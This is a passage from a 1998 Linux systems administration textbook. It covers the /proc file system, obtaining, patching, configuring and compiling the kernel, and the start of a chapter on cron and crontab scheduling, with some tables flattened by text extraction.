CPU/IO usage with loadable modules. It is probably a good idea to modularise devices like the floppy disk, CDROM and parallel port - these are not used very often, and when they are, only for a short time. It is NOT a good idea to modularise frequently used modules like those which control networking. There is quite a bit more to kernel modules. Reading The Resource Materials section, on the 85321 Website/CD-ROM, for week 7 contains pointers to a number of documents with information about Linux kernel modules.

David Jones and Bruce Jamieson (15/10/98)

Page 287

85321, Systems Administration

Chapter 13: Kernel

The /proc file system

Part of the kernel's function is to provide a file-based method of interaction with its internal data structures; it does this via the /proc virtual file system. The /proc file system technically isn't a file system at all; it is in fact a window on the kernel's internal memory structures. Whenever you access the /proc file system, you are really accessing kernel memory. So what does it do? Effectively the /proc file system is providing an instant snapshot of the status of the system. This includes memory, CPU resources, network statistics and device information. This data can be used by programs to gather information about a system, an example of which is the top program. top scans through the /proc structures and is able to present the current memory, CPU and swap information, as given below:
7:12pm up 9:40, 1 user, load average: 0.00, 0.00, 0.10 34 processes: 33 sleeping, 1 running, 0 zombie, 0 stopped CPU states: 0.5% user, 0.9% system, 0.0% nice, 98.6% idle Mem: 14940K av, 13736K used, 1204K free, 5172K shrd, 1920K buff Swap: 18140K av, 2304K used, 15836K free PID 789 98 1 84 96 45 6 7 59 61 63 65 67 73 77 USER PRI jamiesob 19 root 14 root 1 jamiesob 1 jamiesob 1 root 1 root 1 root 1 root 1 root 1 bin 1 root 1 root 1 root 1 root 1 NI SIZE RES SHRD STAT %CPU %MEM TIME COMMAND 0 102 480 484 R 1.1 3.2 0:01 top 0 1723 2616 660 S 0.3 17.5 32:30 X :0 0 56 56 212 S 0.0 0.3 0:00 init [5] 0 125 316 436 S 0.0 2.1 0:00 -bash 0 81 172 312 S 0.0 1.1 0:00 sh /usr/X11/bin/star 0 45 232 328 S 0.0 1.5 0:00 /usr/sbin/crond -l10 0 27 72 256 S 0.0 0.4 0:00 (update) 0 27 112 284 S 0.0 0.7 0:00 update (bdflush) 0 53 176 272 S 0.0 1.1 0:00 /usr/sbin/syslogd 0 40 144 264 S 0.0 0.9 0:00 /usr/sbin/klogd 0 60 0 188 SW 0.0 0.0 0:00 (rpc.portmap) 0 58 0 180 SW 0.0 0.0 0:00 (inetd) 0 31 0 180 SW 0.0 0.0 0:00 (lpd) 0 84 0 208 SW 0.0 0.0 0:00 (rpc.nfsd) 0 107 220 296 S 0.0 1.4 0:00 sendmail:accepting

The actual contents of the /proc file system on my system look like:
psyche:~$ ls /proc 1/ 339/ 100/ 45/ 105/ 451/ 108/ 59/ 109/ 6/ 116/ 61/ 117/ 63/ 124/ 65/ 338/ 67/ 7/ 71/ 73/ 77/ 793/ 80/ 84/ 85/ 86/ 87/ 88/ 89/ 90/ 96/ 97/ 98/ cpuinfo devices dma filesystems interrupts ioports kcore kmsg ksyms loadavg meminfo modules net/ pci self/ stat uptime version

Each of the numbered directories store state information of the process by their PID. The self/ directory contains information for the process that is viewing the /proc filesystem, i.e. - YOU. The information stored in this directory looks like:
cmdline cwd - [0303]:132247 environ exe - [0303]:109739 fd/ (Current command line) (Link to the current working directory) (All environment variables) (Currently executing code) (Directory containing virtual links to file handles)

David Jones and Bruce Jamieson (15/10/98)

Page 288

85321, Systems Administration

Chapter 13: Kernel

maps| root - [0303]:2 stat statm

(Memory map structure) (Link to root directory) (Current process statistics) (Current memory statistics)

Most of these files can be cat'ed to the screen. The /proc/filesystems file, when cat'ed, lists the supported file systems. The /proc/cpuinfo file gives information about the hardware of the system:
psyche:~$ cat /proc/cpuinfo cpu : 586 model : Pentium 90/100 mask : E vid : GenuineIntel fdiv_bug : no math : yes hlt : yes wp : yes Integrated NPU : yes Enhanced VM86 : yes IO Breakpoints : yes 4MB Pages : yes TS Counters : yes Pentium MSR : yes Mach. Ch. Exep. : yes CMPXCHGB8B : yes BogoMips : 39.94

Be aware that upgrading the kernel may mean changes to the structure of the /proc file system. This may require software upgrades. Information about this should be provided in the kernel README files. Exercises
13.1 13.2 13.3 13.4

Find out where kerneld is launched from. What is the purpose of /sbin/lsmod? Try it. Find out where your kernel image is located and how large it is. Examine the /proc file system on you computer. What do you think the /proc/kcore file is? Hint: Have a look at the size of the file.

Really, why bother?

The most common reason to recompile the kernel is because you've added some hardware and you want the kernel to recognise and (if you're lucky) use it. A very good time to recompile your kernel is after you've installed Linux. The reason for this is that the original Linux kernel provided has extra drivers compiled into it which consume memory. Funnily enough, while the kernel includes a driver for communicating in EBCDIC via a 300 baud modem to a coke machine sitting in the South Hungarian embassy in Cairo [Makefile Question:
Do you want to include support for coke machines located in Cairo? [Y],N,M? Do you want to support South Hungarian Embassy Models [Y],N,M? Support for 300 baud serial link [Y],N,M? Support EBCDIC communication[Y],N,M?
David Jones and Bruce Jamieson (15/10/98) Page 289

85321, Systems Administration

Chapter 13: Kernel

(I might be making this up... :)] ...the kernel, by default, doesn't have support for some very common sound cards and network devices! To be fair, there are good reasons for this (IRQ conflicts etc.) but this does mean a kernel recompile is required. Another good reason to modify the kernel is to customise some of its data structures for your system. Possible modifications include increasing the number of processes the kernel can support (this is a fixed array and can't be set on run time) or modifying the size of certain buffers. One of the great benefits of having the source code for the operating system is that you can play OS-Engineer; it is possible for you to change the scheduling algorithm, memory management scheme or the IPC functionality. While it might be nice to go and do these things, it would be unadvisable to modify the API if you want your programs to still run under Linux. However, there is nothing to stop you adding to the API. You may, for example, wish to add a system call to print "Hello World" to the screen (this would obviously be of great benefit to the rest of the Linux community ;) - this is possible for you to do. Strangely enough, to modify the kernel, you need kernel source code. The actual source can be obtained from a variety of locations. For users who installed Linux from CD ROM, the source can be found within the distribution. Typically you will actually go back into the installation menu and install only the section that contains the source. However, more often than not, you are actually seeking to upgrade the kernel, so you need the latest kernel source. Because the development of the Linux kernel is an on-going process, new versions of development kernels are constantly being released. It is not unusual for development kernels to be released as often as once per day! The Kernel HOWTO describes some ways to obtain kernels:
You can obtain the source via anonymous ftp from ftp.funet.fi in /pub/OS/Linux/PEOPLE/Linus, a mirror, or other sites. It is typically labeled linux-x.y.z.tar.gz, where x.y.z is the version number. Newer (better?) versions and the patches are typically in subdirectories such as V1.1' and V1.2' The highest number is the latest version, and is usually a `test release,'' meaning that if you feel uneasy about beta or alpha releases, you should stay with a major release. I strongly suggest that you use a mirror ftp site instead of ftp.funet.fi. Here is a short list of mirrors and other sites: USA: USA: UK: Austria: Germany: nus Germany: France: Australia: tsx-11.mit.edu:/pub/linux/sources/system sunsite.unc.edu:/pub/Linux/kernel unix.hensa.ac.uk:/pub/linux/kernel fvkma.tu-graz.ac.at:/pub/linux/linus ftp.Germany.EU.net:/pub/os/Linux/Local.EUnet/Kernel/Li ftp.dfv.rwth-aachen.de:/pub/linux/kernel ftp.ibp.fr:/pub/linux/sources/system/patches kirk.bond.edu.au:/pub/OS/Linux/kernel

David Jones and Bruce Jamieson (15/10/98)

Page 290

85321, Systems Administration

Chapter 13: Kernel

If you do not have ftp access, a list of BBS systems which carry Linux is posted periodically to comp.os.linux.announce; try to obtain this.

Any Sunsite mirror will contain the latest versions of the Linux kernel. ftp://sunsite.anu.edu.au/linux is a good Australian site to obtain kernel sources. Generally you will only want to obtain a "stable" kernel version, the n.n.0 releases are usually safe though you can find out what is the current stable kernel release by reading the README* or LATEST* files in the download directory. If you have an extremely new type of hardware then you are often forced into using developmental kernels. There is nothing wrong with using these kernels, but beware that you may encounter system crashes and potential losses of data. During a one year period, the author obtained around twenty developmental kernels, installed them and had very few problems. For critical systems, it is better to stick to known stable kernels. So, you've obtained the kernel source - it will be in one large, compressed file. The following extract from the Linux HOWTO pretty much sums up the process:
Log in as or su to root, and cd to /usr/src. If you installed kernel source when you first installed Linux (as most do), there will already be a directory called Linux there, which contains the entire old source tree. If you have the disk space and you want to play it safe, preserve that directory. A good idea is to figure out what version your system runs now and rename the directory accordingly. The command uname -r prints the current kernel version. uname -r said 1.47, you would rename (with mv) Linux to linux-1.1.47. If you feel mildly reckless, just wipe out the entire directory. In any case, make certain there is no Linux directory in /usr/src before unpacking the full source code. Now, in /usr/src, unpack the source with tar zxvf linux-x.y.z.tar.gz (if you've just got a .tar file with no .gz at the end, tar xvf linux-x.y.z.tar works.). The contents of the source will fly by. When finished, there will be a new Linux directory in /usr/src. cd to linux and look over the README file. There will be a section with the label INSTALLING the kernel. Therefore, if

A couple of points to note. Some sources install to directories given by the kernel version, not to the linux directory. It may be worth checking on this before you unpack the
David Jones and Bruce Jamieson (15/10/98) Page 291

85321, Systems Administration

Chapter 13: Kernel

source by issuing the following command. It will list all the files and directories that are contained in the source_filename, the kernel archive. tar -txvf source_filename This will display a list of files and where they are to be installed. If they are to be installed into a directory other than linux then you must make a symbolic link, called linux in the /usr/src directory to the directory that contains the new source. NEVER just delete your old source - you may need it to recompile your old kernel version if you find the new version isn't working out, though we will discuss other ways round this problem in later sections. If you are upgrading your kernel regularly, an alternative to constantly obtaining the complete kernel source is to patch your kernel. Patches are basically text files that contain a list of differences between two files. A kernel patch is a file that contains the differences between all files in one version of the kernel to the next. Why would you use them? The only real reason is to reduce download time and space. A compressed kernel source can be extremely large whereas patches are relatively small. Patches are produced as the output from the diff command. For example, given two files:
file1 "vi is a highly exciting program with a wide range of great features I am sure that we will adopt it as part of our PlayPen suite" - Anonymous Multimillionaire Software Farmer file2 "vi is a mildly useless program with a wide range of missing features I am sure that we will write a much better product; we'll call it `Sentence'"

- Anonymous Multimillionaire Software Farmer

After executing the command:

diff file1 file2 > file3 file3 would contain:
1,2c1,2 < "vi is a highly exciting program with a wide range of great features - I < am sure that we will adopt it as part of our PlayPen suite" --"vi is a mildly useless program with a wide range of missing features - I am sure that we will write a much better product; we'll call it `Sentence'"

To apply a patch, you use the patch command. patch expects a file as a parameter to apply the patch to, with the actual patch file as standard input. Following the previous example, to patch file1 with file3 to obtain file2, we'd use the following command:
patch file1 < file3

This command applies the file3 patch to file1. After the command, file1 is the same as file2 and a file called file1.orig has been created as a backup of the original file1.

David Jones and Bruce Jamieson (15/10/98)

Page 292

85321, Systems Administration

Chapter 13: Kernel

The Linux HOWTO further explains applying a kernel patch:

Incremental upgrades of the kernel are distributed as patches. For example, if you have version 1.1.45, and you notice that there's a patch46.gz out there for it, it means you can upgrade to version 1.1.46 through application of the patch. You might want to make a backup of the source tree first (tar zcvf old-tree.tar.gz linux will make a compressed tar archive for you). So, continuing with the example above, let's suppose that you have patch46.gz in /usr/src. cd to /usr/src and do: zcat patch46.gz | patch -p0 (or patch -p0 < patch46 if the patch isn't compressed). You'll see things whizz by (or flutter by, if your system is that slow) telling you that it is trying to apply hunks, and whether it succeeds or not. Usually, this action goes by too quickly for you to read, and you're not too sure whether it worked or not, so you might want to use the -s flag to patch, which tells patch to only report error messages (you don't get as much of the `hey, my computer is actually doing something for a change!' feeling, but you may prefer this..). To look for parts which might not have gone smoothly, cd to /usr/src/linux and look for files with a .rej extension. Some versions of patch (older versions which may have been compiled with on an inferior file system) leave the rejects with a # extension. You can use find to look for you; find . -name '*.rej' -print

prints all files who live in the current directory or any subdirectories with a .rej extension to the standard output.

Patches can be obtained from the same sites as the complete kernel sources. A couple of notes about patches: For every new version of the kernel, there is a patch. To upgrade from a kernel version that is five versions behind the version you want, yo have to obtain and apply five patches (e.g. kernel n.n.1 upgrading to n.n.6 requires patches: patch2, patch3, patch4, patch5 and patch6). This gets tedious and is often easier and quicker to simply obtain the entire kernel source again. Patches are forever - when you patch your kernel source, you modify it for good. Every version of the kernel source comes with documentation. There are several "main" files you should read about your current source version including: /usr/src/linux/README
Instructions on how to compile the kernel. /usr/src/linux/MAINTAINERS A list of people who maintain the code. /usr/src/linux/Documentation/* Documentation for parts of the kernel.

ALWAYS read the documentation after obtaining the source code for a new kernel, and especially if you are going to be compiling in a new kind of device. The Linux Kernel-HOWTO is essential reading for anything relating to compiling or modifying the kernel.

David Jones and Bruce Jamieson (15/10/98)

Page 293

85321, Systems Administration

Chapter 13: Kernel

Linux is the collaborative product of many people. This is something you quickly discover when examining the source code. The code (in general) is neat but sparsely commented; those comments that do exist can be absolutely riotous...well, at least strange :) These are just a selection of the quotes found in the /usr/src/linux/kernel directory:
(fork.c) Fork is rather simple, once you get the hang of it, but the memory management can be a bitch. (exit.c) "I ask you, have you ever known what it is to be an orphan?" (module.c) ... This feature will give you ample opportunities to get to know the taste of your foot when you stuff it into your mouth!!! (schedule.c) The "confuse_gcc" goto is used only to get better assembly code.. Dijkstra probably hates me.

To understand this, you have to know who Dijkstra was - remember OS?
... disregard lost ticks for now.. We don't care enough. (sys.c) OK, we have probably got enough memory - let it rip. This needs some heave checking ... I just haven't get the stomach for it. I also don't fully understand. Let somebody who does explain it. (time.c) This is ugly, but preferable to the alternatives. bad.... ...This is revolting. Bad,

Apart from providing light entertainment, the kernel source comments are an important guide into the (often obscure) workings of the kernel. The main reason for recompiling the kernel is to include support for new devices - to do this you simple have to go through the compile process and answer "Yes" to a few questions relating to the hardware you want. However, in some cases you may actually want to modify the way in which the kernel works, or, more likely, one of the data structures the kernel uses. This might sound a bit daunting, but with Linux this is a relatively simple process. For example, the kernel maintains a statically-allocated array for holding a list of structures associated with each process running on the system. When all of these structures are used, the system is unable to start any new processes. This limit is defined within the tasks.h file located in /usr/src/linux/include/linux/ in the form of:

David Jones and Bruce Jamieson (15/10/98)

Page 294

85321, Systems Administration

Chapter 13: Kernel

/* * This is the maximum nr of tasks - change it if you need to */ #define NR_TASKS 512 #define MAX_TASKS_PER_USER (NR_TASKS/2) #define MIN_TASKS_LEFT_FOR_ROOT 4

While 512 tasks may seem a lot, on a multiuser system this limit is quickly exhausted. Remember that even without a single user logged on, a Linux system is running between 30 and 50 tasks. For each user login, you can (at peak periods) easily exceed 5 processes per user. Adding this to web server activity (some servers can be running in excess of one hundred processes devoted to processing incoming http requests), mail server, telnet, ftp and other network services, the 512 process limit is quickly reached. Increasing NR_TASKS and recompiling the kernel will allow more processes to be run on the system - the downside to this is that more memory will be allocated to the kernel data area in the form of the increased number of task structures (leaving less memory for user programs). Other areas you may wish to modify include buffer sizes, numbers of virtual terminals and memory structures. Most of these should be modifiable from the .h files found in the kernel source "include" directories. There are, of course, those masochists (like myself) who can't help tinkering with the kernel code and "changing" things (a euphemism for wrecking a nice stable kernel). This isn't a bad thing (there is an entire team of kernel developers world-wide who spend quite a bit of time doing this) but you've got to be aware of the consequences - total system annihilation is one. However, if you feel confident in modifying kernel code, perhaps you should take a quick look at: /usr/src/linux/kernel/sched.c or /usr/src/linux/mm/memory.c (actually, look at the code anyway). These are two of the most important files in the kernel source, the first, sched.c is responsible for task scheduling. The second, memory.c is responsible for memory allocation. Perhaps someone would like to modify memory.c so that when the kernel runs out of memory that the system simply doesn't just "hang" (just one of my personal gripes there... ;) As we will discuss in the next section, ALL changes to the kernel should be compiled and tested on DISK before the "new" kernel is installed on the system. The following section will explain how this is done. Obtain the source of the version before the latest kernel. Install the source in the appropriate directory. Obtain the patch for the latest kernel source and apply it to the source files you previously retrieved. If you don't have Internet access, do the same thing but using the CDROM. Pick a version of the kernel source, install it, then patch it with the patch for the next version

David Jones and Bruce Jamieson (15/10/98)

Page 295

85321, Systems Administration

Chapter 13: Kernel

Find out how to generate a patch file based on the differences between more than one file - what is the command that would recursively generate a patch file from two directories? (These puns are getting very sad) As you are aware (because you've read all the previous chapters and have been paying intense attention), make is a program use to compile source files, generate object files and link them. make actually lets the compilers do the work, however it co-ordinates things and takes care of dependencies. Important tip: Dependencies are conditions that exist due to that fact some actions have to be done after other actions - this is confusing, but wait, it gets worse. Dependencies also relate to the object of the action; in the case of make this relates to if the object (an object can be an object file or a source file) has been modified. For example, using our Humpty scenario: humpty (program) is made up of legs, arms and torso (humpty, being an egg lacked a neck, thus his torso and head are one) - these could be equated to object files. Humpty's legs are made up of feet, shins and thighs - again, object files. Humpty's feet are made up of toes and other bits (how do you describe an egg's foot???) - these could be equated to source files. To construct humpty, you'd start at the simplest bits, like toes, and combine them with other bits to for the feet, then the legs, then finally, humpty. You could not, however, fully assemble the leg without assembling the foot. And if you modified Humpty's toes, it doesn't mean you'd have to recompile his fingers - you'd have to reconstruct the foot object, relink into a new leg object, which you'd link with the (pre compiled and unmodified) arms and torso objects - thus forming Humpty.
make, while not specifically designed to handle broken egg reconstruction, does

the same thing with source files - based entirely of rules which the user defines within a file called a Makefile. However, make is also clever enough to compile and link only the bits of a program that have been modified since the last compile. In the case of the kernel, a series of Makefiles are responsible for the kernel construction. Apart from calling compilers and linkers, make can be used for running programs, and in the case of the kernel, one of the programs it calls is an initialisation script. The steps to compile the kernel all make use of the make program. To compile the kernel, you must be in the /usr/src/linux, and issue (in the following order and as the root user) these commands:
make make make make make config or make menuconfig or make xconfig dep clean zImage or make zdisk zlilo (if the previous was make zImage)

If you are going to be using modules with your kernel, you will require the following two steps:
make modules make modules_install

David Jones and Bruce Jamieson (15/10/98)

Page 296

85321, Systems Administration

Chapter 13: Kernel

The following is an explanation of each step.

make config is the first phase of kernel recompilation. Essentially make config causes a series of questions to be issued to the user. These questions

relate to what components should be compiled into the kernel. The following is a brief dialog from the first few questions prompted by make config:
psyche:~/usr/src/linux$ make config rm -f include/asm ( cd include ; ln -sf asm-i386 asm) /bin/sh scripts/Configure arch/i386/config.in # # Using defaults found in .config # * * Code maturity level options * Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL)[N/y?] n * * Loadable module support * Enable loadable module support (CONFIG_MODULES) [Y/n/?] Y Set version information on all symbols for modules (CONFIG_MODVERSIONS)[N/y/?] Kernel daemon support (e.g. autoload of modules) (CONFIG_KERNELD) [N/y/?] y * * General setup * Kernel math emulation (CONFIG_MATH_EMULATION) [Y/n/?]

A couple of points to note: Each of these questions has an automatic default (capitalised). This default will be changed if you choose another option; i.e. If the default is "N" and you answer "Y" then on the next compile the default will be "Y". This means that you can simply press "enter" through most of the options after your first compile. These first few questions relate to the basic kernel setup: note the questions regarding modules. This is important to answer correctly, as if you wish to include loadable module support, you must do so at this point. As you progress further through the questions, you will be prompted for choosing support for specific devices, for example:
* * Additional Block Devices * Loopback device support (CONFIG_BLK_DEV_LOOP) [N/y/m/?] Multiple devices driver support (CONFIG_BLK_DEV_MD) [N/y/?] RAM disk support (CONFIG_BLK_DEV_RAM) [Y/m/n/?] Initial RAM disk (initrd) support (CONFIG_BLK_DEV_INITRD) [N/y/?] XT harddisk support (CONFIG_BLK_DEV_XD) [N/y/m/?]

In this case, note the "m" option? This specifies that the support for a device should be compiled in as a module - in other words, not compiled into the kernel but into separate modules.

David Jones and Bruce Jamieson (15/10/98)

Page 297

85321, Systems Administration

Chapter 13: Kernel

Be aware that there are quite a few questions to answer in make config. If at any point you break from the program, you must start over again. Some "sections" of make config, like the sound card section, save the results of the first make config in a configuration file; you will be prompted to either reconfigure the sound card options or use the existing configurations file. There are two other methods of configuring the kernel, make menuconfig and make xconfig. The first time you run either of these configuration programs, they will actually be compiled before your very eyes (exciting eh?). menuconfig is just a text based menu where you select the parts of the kernel you want; xconfig is the same thing, just for X-Windows. Using either of these utilities will probably be useful for someone who has never compiled the kernel before, however, for a comprehensive step-by-step selection of kernel components, make config is, in my view, better. You may be wondering what is the result of make config/menuconfig/xconfig? What is actually happening is that small configuration files are being generated to be used in the next step of the process, make dep.
make dep takes the results from make config and "sets up" which parts of the

kernel have to be compiled and which don't. Basically this step involves extensive use of sed and awk for string substitution on files. This process may take a few minutes; there is no user interaction at this point. After running make dep, make clean must be run. Again, this process requires no user interaction. make clean actually goes through the source tree and removes all the old object and temporary files. This process can not be skipped. At this point, we are ready to start the compile process. You have two options at this point; you may either install the kernel on the hard drive of the system and hope it works, or, install the kernel on a floppy disk and test it for a while, then (if it is working) install it on the hard drive. ALWAYS tests your kernel on a floppy disk before installing it as your boot kernel on the hard drive. Why? Simply because if you install your new kernel directly over the one on the hard drive and it doesn't work properly (i.e.. crashes or hangs your system) then you will have difficulty booting your system (being a well prepared Systems Administrator, you'd have a boot disk of course ... ;). To compile your new kernel to disk, you must issue the command:
make zdisk

This will install a bootable kernel on the disk in A:. To boot the system, you simply insert the disk containing the kernel in A:, shut down the system, and let it reboot. The kernel on disk will load into memory, mount your root partition and the system will boot as normal. It is a good idea to run this kernel on disk for at least a few days, if not longer. If something goes wrong and you find your system has become unstable, it is merely a process of removing the disk, rebooting and the system will start up with your old kernel.

David Jones and Bruce Jamieson (15/10/98)

Page 298

85321, Systems Administration

Chapter 13: Kernel

If you are going to install the kernel directly to the hard disk, then you should issue the commands:
make zImage make zlilo

The first command, make zImage, actually compiles the kernel, the second, make zlilo installs the kernel on whatever root partition you have configured with lilo. Most systems use lilo as the kernel boot loader. A common misconception is that lilo is only used to boot kernels off hard disks. This is actually incorrect; if lilo is configured (usually done when you installed your system, see "man lilo" for more information on configuring it) to boot the kernel from floppy disk, then running make zlilo will cause a copy of the kernel (and lilo) to be copied onto a disk. However, lilo is usually used to load a kernel form hard disk. The way it works is simple; lilo finds the absolute block/sector address of the kernel image on the disk. It then creates a small program (containing this and other information) and inserts it in the boot sector of the primary hard disk. At boot time, lilo is run, prompting (optionally) the user for the desired operating system to boot. When the choice is made, lilo goes directly to the block/sector of the kernel boot image (or other operating system boot file) and loads it into memory and executes it. The actual compile process (either using make zImage or make zdisk is a lengthy process. A Pentium 100 with 16 megabytes of RAM takes around 15 to 25 minutes to compile the kernel (depending on what has been included). Compiling DEC UNIX on a DEC-Alpha takes around three to four minutes. Have pity for those in the not-so-distant era of the 386 that waited all day for a kernel to recompile. It is quite OK to be recompiling the kernel while other users are logged onto the system; be aware that this will slow the process down and make the system appear VERY slow to the users (unless you have a "really, nice" machine). If you have decided to use dynamically loadable modules, there are two more commands you must issue:
make modules make modules_install

Note this is done post kernel compile - the useful thing about this is that if you upgrade your modules, you can simply recompile them without the need for a full kernel recompile! After the make zImage/zlilo/zdisk commands and compiling the modules, your kernel is ready to be tested. As previously stated, it is important to test your kernel before using it as your system boot kernel.

David Jones and Bruce Jamieson (15/10/98)

Page 299

85321, Systems Administration

Chapter 13: Kernel

If you find that the kernel is working normally from disk and it hasn't crashed the system (too much), then you can install the kernel to the hard disk. The easiest way to do this is to go back to the /usr/src/linux directory and type: make zlilo This will install the copy of the kernel that was previously compiled to disk (a copy is also kept in the kernel source directory) to the hard drive, or whatever boot device lilo is configured to use. Did you read the documentation? "If all else fails, read the documentation" this quote is especially true of kernel recompiles. A few common problems that you may be confronted with are: make can not find the Makefile but it is there!: This is because make is broken. This was a big problem under the 1.2.n kernels when an updated libc.so.x library was released. The problem was that make would not work under 1.3.n kernels that had been recompiled under the 1.2.n versions with the new library; consequently, you couldn't recompile the kernel under the 1.3.n kernels due to the fact make was not working! This has been fixed since, though at the time the solution was to go and get a new version of make. This is a classic example of what can happen when you start upgrading kernels without upgrading all the libraries, compilers and utilities. Always read the README file before recompiling the kernel and make sure you have all the right versions of libraries, compilers and utilities. make config/dep/clean dies: This is bad news. It means one of several things: either the config scripts can't find /bin/bash or /bin/sh, some of the source tree is missing, you are not running the program as root or there is something wrong with your system file permissions/links. It is very rare for this to happen with kernels "unpacked straight from the box". If it does happen, check for the previous reasons; if all else fails, go and get another kernel source. make zImage/zdisk fails: This is one of those sinking feeling moments when you start getting messages during the compile saying "Error: Something didn't compile/link". Two primary reasons for this are: not running make clean after make dep and not having the correct libraries installed. The kernel compiles and boots but it is unstable: If you are using developmental kernels, this comes with the territory: because developmental kernels can be unstable. If, however, you are using a known "stable" kernel, then the reason is most likely a hardware conflict. Typical culprits are sound cards and network cards. Remove these from the kernel and recompile. You should then examine the documentation on the offending devices to see what the conflict is. Other reasons for kernel instability include compiling in support for devices you don't have (this is rare but can happen) or the fact that you've just discovered a "real" bug in the kernel - in which case the README documentation will assist you in locating the right person to talk to.

David Jones and Bruce Jamieson (15/10/98)

Page 300

85321, Systems Administration

Chapter 13: Kernel

If you are still encountering problems, you should examine the newsgroup archives concerned with Linux. There are also several useful mailing lists and web sites that can assist you with kernel problems.

David Jones and Bruce Jamieson (15/10/98)

Page 301

85321, Systems Administration

Chapter 13: Kernel

Exercises
13.5

13.6

13.7

Modify the kernel so that the maximum number of tasks it can run is 50. Compile this kernel to a floppy disk. See how long it takes to use all these processes up. Modify your kernel so that the kernel version message (seen on boot time) contains your name. Hint: /usr/src/linux/init contains a file called version.c - modify a data structure in this. Recompile your own kernel, including only the components you need. For those components that you need but don't use very oftem, compile them in as modules. Initially boot the kernel from disk, then install it on your hard disk.

Conclusions
In this chapter we have examined: What is a kernel? Why would a Systems Administrator recompile a kernel? What makes up a modern kernel? How would you obtain a kernel? Why and how would you modify the kernel source? How is a kernel configured and recompiled? Why should a kernel be tested? How is a kernel installed? Issues associated with the modern Linux kernel Further information of the Linux kernel can be obtained from the Linux Kernel HOWTO.

Review Questions
Describe the functions of the kernel; explain the difference between a kernel that uses modules and one that doesn't. You have added a D-Link ethernet card to your laptop (a D-Link ethernet card runs via the parallel port). Describe the steps you'd perform to allow the system to recognise it. Would you compile support for this module directly into the kernel or make it a module? Why/Why not? You wish to upgrade the kernel on an older system (ver 1.2.n) to the latest kernel. What issues should you consider? What problems could occur with such an upgrade; how would you deal with these?

David Jones and Bruce Jamieson (15/10/98)

Page 302

85321, Systems Administration

Chapter 14: Observation, automation and logging

Chapter
Introduction

14

Observation, automation and logging

The last chapter introduced you to the "why" of automation and system monitoring. This chapter introduces you to how you perform these tasks on the UNIX operating system. The chapter starts by showing you how to use the cron system to automatically schedule tasks at set times without the intervention of a human. Parts of the cron system you'll be introduced to include crond the daemon, crontab files and the crontab command. The chapter then looks at how you can find out what is going on with your system. Current disk usage is examined briefly including the commands df and du. Next, process monitoring is looked at with the ps, top, uptime, free, uname kill and nice commands introduced. Finally we look at how you can find out what has happened with your system. In this section we examine the syslog system which provides a central system for logging system events. We then take a look at both process and login accounting. This last section will also include a look at what you should do with the files generated by logging and accounting.

Automation and cron

A number of the responsibilities of a System Administrator are automated tasks that must be carried out at the regular times every day, week or hour. Examples include, early every morning freeing up disk space by deleting entries in the /tmp directory, performing backups every night or compressing and archiving log files. Most of these responsibilities require no human interaction other than to start the command. Rather than have the Administrator start these jobs manually, UNIX provides a mechanism that will automatically carry out certain tasks at set times. This mechanism relies on the cron system.

Components of cron
The cron system consists of the following three components crontab (the cron configuration) files These are the files which tell the cron system which tasks to perform and when.

David Jones, Bruce Jamieson (15/10/98)

Page 303

85321, Systems Administration

Chapter 14: Observation, automation and logging

the crontab command This is the command used to modify the crontab files. Even though the crontab files are text files they should not be edited using a text editor. the daemon, crond The cron daemon is responsible for reading the crontab file and then performing the required tasks at the specified times. The cron daemon is started by a system startup file.
crontab

format

crontab files are text files with each line consisting of 6 fields separated by

spaces. The first five fields specify when to carry out the command and the sixth field specifies the command. Table 14.1, on the following page, outlines the purpose of each of the fields. Field minute hour day month weekday command Purpose minute of the hour, 00 to 59 hour of the day, 00 to 24 (military time) day of the month, 1 to 31 month of the year, 1 to 12 day of the week, Linux uses three letter abbreviations, sun, mon, tue,.... The actual command to execute
Table

crontab

1 4 .1 fie lds

Comments can be used and are indicated using the # symbol just as with shell programs. Anything that appears after a # symbol until the end of that line is considered a comment and is ignored by crond. The five time fields can also use any one of the following formats an asterix that matches all possible values, a single integer that matches that exact value, a list of integers separated by commas (no spaces) used to match any one of the values two integers separated by a dash (a range) used to match any value within the range. For example Some example crontab entries include (all but the first two examples are taken from the Linux man page for crontab)
0 * * * * echo Cuckoo Cuckoo > /dev/console 2>&1

Every hour (when minutes=0) display Cuckoo Cuckoo on the system console.
30 9-17 * 1 sun,wed,sat echo `date` >> /date.file 2>&1

At half past the hour, between 9 and 5, for every day of January which is a Sunday, Wednesday or Saturday, append the date to the file date.file
0 */2 * * * date

David Jones, Bruce Jamieson (15/10/98)

Page 304

85321, Systems Administration

Chapter 14: Observation, automation and logging

Every two hours at the top of the hour run the date command
0 23-7/2,8 * * * date

Every two hours from 11p.m. to 7a.m., and at 8a.m.

0 11 4 * mon-wed date

At 11:00 a.m. on the 4th and on every mon, tue, wed

0 4 1 jan * date

4:00 a.m. on january 1st

0 4 1 jan * date >> /var/log/messages 2>&1

Once an hour, all output appended to log file Output When commands are executed by the crond daemon there is no terminal associated with the process. This means that standard output and standard error, which are usually set the terminal, must be redirected somewhere else. In this case the output is emailed to the person who's crontab file the command appears. It is possible to use I/O redirection to redirect the output of the commands to files. Some of the examples above use output redirection to send the output of the commands to a log file. Exercises
14.1

Write crontab entries for the following. - run the program date every minute of every day and send the output to a file called date.log - remove all the contents of the directory /tmp at 5:00am every morning - execute a shell script /root/weekly.job every Wednesday - run the program /root/summary at 3, 6 and 9 pm for the first five days of a month

Creating crontab files

crontab files should not be modified using an editor instead they should be created and modified using the crontab command. Refer for the manual page for crontab for more information but the following are two of the basic

methods for using the command. 1. crontab [file] 2. crontab [-e | -r | -l ] [username] Version 1 is used to replace an existing crontab file with the contents of standard input or the specified file. Version 2 makes use of one of the following command line options

David Jones, Bruce Jamieson (15/10/98)

Page 305

85321, Systems Administration

Chapter 14: Observation, automation and logging

-e Allows the user to edit the crontab file using an editor (the command will perform some additional actions to make it safe to do so) -r Remove the user's crontab file -l Display the user's crontab file onto standard output By default all actions are carried out on the user's own crontab file. Only the root user can specify another username and modify that user's crontab file. Exercise
14.2

Using the crontab command to add the following to your crontab file and observe what happens. run the program date every minute of every day and send the output to a file called date.log

What's going on
A part of the day to day operation of a system is keeping an eye on the systems current state. This section introduces a number of commands and tools that can be used to examine the current state of the system. The tools are divided into two sections based on what they observe. The sections are disk and file system observation, and The commands du and df process observation and manipulation. The commands ps, kill, nice and top. need to add the observation Web-based system
df df summarises that amount of free disk space. By default df will display the

